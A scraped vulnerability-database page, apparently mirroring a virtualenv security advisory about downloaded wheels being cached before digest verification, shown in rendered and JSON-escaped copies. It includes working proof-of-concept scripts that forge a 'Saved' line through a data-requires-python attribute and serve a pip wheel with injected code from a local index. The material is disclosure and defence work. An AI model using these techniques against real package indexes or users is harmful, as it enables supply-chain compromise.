\u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
"id": "BREW-poetry-CVE-2026-113714",
"modified": "2026-10-29T22:19:24Z",
"published": "2026-10-26T09:10:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "virtualenv: Downloaded wheel selection and caching precede verification",
"upstream": [
"GHSA-494p-63j8-28p3",
"CVE-2026-113714",
"BIT-virtualenv-2026-113714"
]
}
BREW-PRE-COMMIT-CVE-2026… (GHSA-494P-63J8-28P3)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:58 – Updated: 2026-10-29 22:35 – Source websiteSummary
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Download selection and promotion into the reusable wheel cache.
Attacker-controlled input
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
Affected code
The relevant 21.14.8 source is in wheel download and digest check.
Mechanism
download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash
from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.
Reproduction and evidence
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a
forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
PR #3430 downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.
Attack sequence
sequenceDiagram
participant I as Configured index
participant P as pip download
participant C as wheel/house cache
participant V as virtualenv digest check
participant N as New environment
I->>P: modified wheel and forged Saved line
P->>C: write modified wheel directly
P-->>V: stdout names genuine bundled wheel
V->>V: hash genuine wheel and accept
V->>C: record modified wheel for reuse
C->>N: seed modified pip without rehash
Note over P,C: Even a rejected wheel can remain in the cache
Reproducer files
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path
companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py
def user_upgrades_seed_wheels_and_creates_env():
# each case starts from an empty app-data
shutil.rmtree(app_data, ignore_errors=True)
shutil.rmtree(home / "env", ignore_errors=True)
upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
# --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
# one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
logged = []
if update_log_of_pip.exists(): # a failed update writes no log
logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
return refusal, logged, pip_version.stdout.splitlines()
# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
[sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL modified pip: update log of pip lists", logged)
print("CONTROL modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)
# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)
# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")
repro.d/index_forges_saved_line.py
"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.
usage: index_forges_saved_line.py <index_dir>
Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""
import shutil
import sys
from pathlib import Path
# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"
index_dir = Path(sys.argv[1])
# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")
# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
page.write(
'<a href="/files/pip-100.0-py3-none-any.whl"'
f' data-requires-python=" Saved {GENUINE_WHEEL_ON_USERS_DISK} ">pip-100.0-py3-none-any.whl</a>\n'
)
repro.d/index_serves_modified_pip.py
"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.
usage: index_serves_modified_pip.py <index_dir>
pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""
import hashlib
import io
import sys
import zipfile
from pathlib import Path
ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'
index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"
genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
for entry in genuine.infolist():
content = genuine.read(entry)
if entry.filename == "pip/__init__.py":
content += ADDED_CODE
modified.writestr(entry, content)
# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)
repro.d/pip.conf
[global]
index-url = http://127.0.0.1:8099/simple
repro.d/pypi_json_and_mirror.py
"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.
usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>
The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""
import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path
from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256
pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)
for project in ("pip", "setuptools"):
releases, links = {}, []
for filename, sha256 in BUNDLE_SHA256.items():
name, version = filename.split("-")[:2]
if name != project:
continue
shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
requires_python = escape(metadata["Requires-Python"])
links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
(pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
(index_dir / "simple" / project).mkdir(parents=True)
(index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")
repro.d/virtualenv_with_local_pypi_json.py
"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.
usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>
Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""
import sys
from pathlib import Path
from unittest import mock
from virtualenv.__main__ import run_with_catch
pypi_dir = Path(sys.argv[1])
def pypi_json_api(url, context):
assert url.startswith("https://pypi.org/pypi/") and context is None, url
project = url.split("/")[4]
return (pypi_dir / f"{project}.json").open("rb")
with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
run_with_catch(sys.argv[2:])
Impact
A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.
Fix: PR #3430.
Known mitigation
After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "pre-commit",
"purl": "pkg:brew/pre-commit"
},
"ranges": [
{
"events": [
{
"introduced": "4.6.2_1"
},
{
"fixed": "4.7.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I-\u003e\u003eP: modified wheel and forged Saved line\n P-\u003e\u003eC: write modified wheel directly\n P--\u003e\u003eV: stdout names genuine bundled wheel\n V-\u003e\u003eV: hash genuine wheel and accept\n V-\u003e\u003eC: record modified wheel for reuse\n C-\u003e\u003eN: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom 